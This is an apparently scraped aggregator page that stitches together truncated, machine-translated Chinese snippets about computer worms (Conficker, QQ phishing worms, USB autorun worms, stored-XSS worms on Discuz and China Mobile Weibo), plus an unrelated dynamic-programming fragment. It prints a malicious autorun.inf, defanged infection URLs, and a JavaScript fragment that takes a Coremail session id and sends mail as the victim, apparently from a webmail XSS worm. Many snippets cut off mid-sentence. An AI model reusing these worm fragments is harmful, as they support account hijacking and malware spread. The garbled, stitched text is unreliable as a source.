Asukas Blog
Today, two weeks ago, I was away from HOL. My colleague called me and said that many users in the Organization reported that their accounts were locked, originally, the account in AD was locked after three wrong inputs. Some users occasionally reported that the account was locked, but the account was locked on a large scale. I think there must be a problem.
When I came back, I looked at the Log, a lot of logs, that is, I guess the password, I suspect there is a hacker attack, and the
According to statistics, the Conficker virus (some variants are reported as Kido) infection has increased, the Forum on the virus to help paste also increased.
It is not obvious that individual users are infected with the worm, and it is relatively easy to clean up, but corporate LANs are not so easy.
The main methods of transmission of Conficker virus are
1.
For the dynamic planning, I will not say more. Because not yet,Each question is different, but the general principle is the same. Catch test instructions,Subject: N tree, Caterpillar in M minutes from p to t route species, caterpillars can only go to the left and right adjacent positions.Center Code:For(I=1; I; I+ +) for (J = 1; j ; J+ +) DP[i][j] + = DP[i- 1][j-1] + DP[i-1][j+1];The number of species that traverse the locations of all possible points of time, and finally the number of M-minute
QQ Sticky worm is a virus, is to use a false QQ landing page to deceive you, so that your QQ number stolen away! The danger is great! Small partners must pay attention, serious precautions!
QQ Sticky worm transmission way:
1, disguised as a QQ brush drilling tools, game plug,2, disguised as a variety of QQ friends to send documents, mainly Office documents mainly.
QQ Sticky Pest Hazard:
Specializing in
Worm program worm. win32.autorun. DG Solution
Virus name
Worm. win32.autorun. DG
Capture Time
2007-10-14
Virus symptoms
The virus is a worm program written in Delphi. It is 25,600 bytes in length, the icon is a regular executable file icon, and the virus extension is exe.
Virus analysis
After the
Discuz X1.5 stores XSS in places where friends are added, where XSS interacts with the user to spread the worm exponentially.Location to add friendsThe effect after X finishesTrigger after clickOK with this storage XSS, we do worm propagation, DZ's session cookie is wounded http-only, but the effect of XSS is to get access to the user session under your current domain . This does not interfere with our worm
A website that publishes worm. win32.otwycal. c/worm. win32.infei.
Original endurerSupplement the reply from rising in version 2ndVersion 1st
This website homepage containsCode:/---Document. Write ("---/
#1 hxxp: // A **. 1 ** 58d ** m.com/b2.htm (Kaspersky has detected: TrojanProgramTrojan-Clicker.HTML.IFrame.mv) contains code:/------/
#1.1 hxxp: // B **. 1 ** 58d ** m.com/one/ OK .js
Download hxx
1. Virus labels:
Virus name: Worm. Win32.Skipi. B
Virus Type: Worm
File MD5: 9fc5fad65fb0dae7b5370607d103aa80
Public scope: full public
Hazard level: 5
File length: 188,416 bytes
Infected system: Windows 98 or later
Development tools: Microsoft Visual C ++ 7.0
Shelling type: no shell
2. Virus description:
The virus is a worm. an executable file with an extension
China Mobile Weibo storage XSS worm (with worm POC)
1. Forward Weibo2. Posting new Weibo posts3. Listen to me
The problem lies in the long Weibo post of China Mobile Weibo.
You can insert 30 characters of code without filtering the title.
Page with question: http://weibo.10086.cn/cwb/article.php? Id = 10404Once you log on to the China Mobile Weibo account to open this page, it will forward my weibo accoun
Wonderful!ArticleThis topic describes how Samy worm bypasses Myspace's security mechanism, successfully spreading this "interesting" worm, infected millions of people within 20 hours, and added the author to their my heroes list, eventually, many accounts are lost.Here is the story.Here is the technical details.Here is the author's interview.Well, we should talk to the security personnel in the Department.
follows:/----------[Autorun]Open =./recycler/autorun.exe
Shell/1 = openShell/1/command =./recycler/autorun.exeShell/2/= BrowserShell/2/command =./recycler/autorun.exe
ShellExecute =./recycler/autorun.exe----------/A file named autorun.exe is hidden in the recycle bin.By using fccommand, autorun.exe is exactly the same as wincfgs.exe.
RisingWorm. usbspy..
Status: finished
Complete scanning result of "wincfgs.exe", received in virustotal at 09.12.2006, 06:40:13 (CET ).
Antivirus
Vers
a hidden system folder calledRecyclerWhich containsJwgkvsq. vmxFile. i'm not sure if this is an old virus, but it seems it's been spreading a lot lately. and most anti-virus doesn't detect this, but for those who does, it can't remove it.
It is also known:
W32/confi
W32/Conficker. worm! INF
Win32/Conficker. B-ca
It exploits Microsoft Windows vulnerability:M
Recently, on the day of December 31, April 1, A Worm Virus Variant may have a large outbreak. In this regard, many anti-virus vendors have proposed solutions.
Tian Rongxin, who is also an information security vendor, believes that simply preventing virus users cannot completely defend against worms. What is the solution of Tian Rongxin?
Liu Yang, senior security expert of Tian Rongxin, believes that this Win32/Con
Encounter worm. win32.viking. lm/worm. Viking. tc, Trojan. psw. win32.onlinegames, etc. 2
EndurerOriginal1Version
Seeing C:/Windows/richdll. dll and O4-HKLM/../run: [load] C:/Windows/uninstall/rundl132.exe reminds me of Viking ......
Stop and disable windowsdown (windows_systemdown)
Uninstall Baidu super souba
Download and install the rising star Kaka Security Assistant, select [advanced functions], and unm
EndurerOriginal
2006-10-08 th
1Version
The information automatically sent by QQ is:/--------Check out my recent photos ~~~ To scan the Q-zone space. Is it too explicit ....
Hxxp: // Q-zone. *** QQ. c0m. % 34% 76% 30 *** % 2e % 63% 6e/** Photo/cgi_bin 387 ** 381/--------/
Click the header of the webpage opened by this link to use the Javascript script code encrypted by the custom function psw. After decryption:/----------------/
MM ***. htmThe script program starting with htmlship encryption is
If you mention the worm, you may not be able to say exactly what it is. But a mention of red code, Nimda, Love back Door, 2003 worm King, Shock wave, shock waves and other notorious viruses, I think we must remember that these viruses, once they erupt, will be global flood, causing the entire network turbulence, If you surf the Internet a lot, you are likely to suffer the ravages of them.
The 2003 Worm King "(worm.netkiller2003), whose harm far outweighs the once rampant red code virus.Network bandwidth is heavily occupied after the worm is infected, resulting in network paralysis, which exploits the buffer overflow vulnerability of SQL SERVER 2000, which resolves port 1434, to attack its network. As the "2003 Worm King" has a strong ability to sp
); xmlhttp.setRequestHeader("Content-length", params.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(params); } function doMyAjax() { var strPer = '/coremail/cgi/attachfapps'; var tomail = '
;'; var subject = "test20"; var Content = ""; var account = ""; var sid = window.top.location.href.replace(/.*sid=(.*)/,"$1"); var tmpmid = domid("/coremail/fcg/ldmmapp?funcid=composesid=" + sid ); var mid="",text
Recently, a new Worm/trojan has been very "popular" in the We Net world. This worm uses email and various phishing the WEB sites to spread and infect computers. When the worm breaks into the system, it installs a kernel driver to protect itself. With the help of the driver, it then injects and runs malicious code from the legitimate process "Services.exe". So, it
Now the biggest threat to everyone's computer is the network worm virus! The damage of the network worm is simply astonishing, from the famous "Love Bug" to "Happy Time" to "Red Code", its destructive power is more and more strong, so we need to understand the network worm virus.
Worm virus and the general computer vi
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.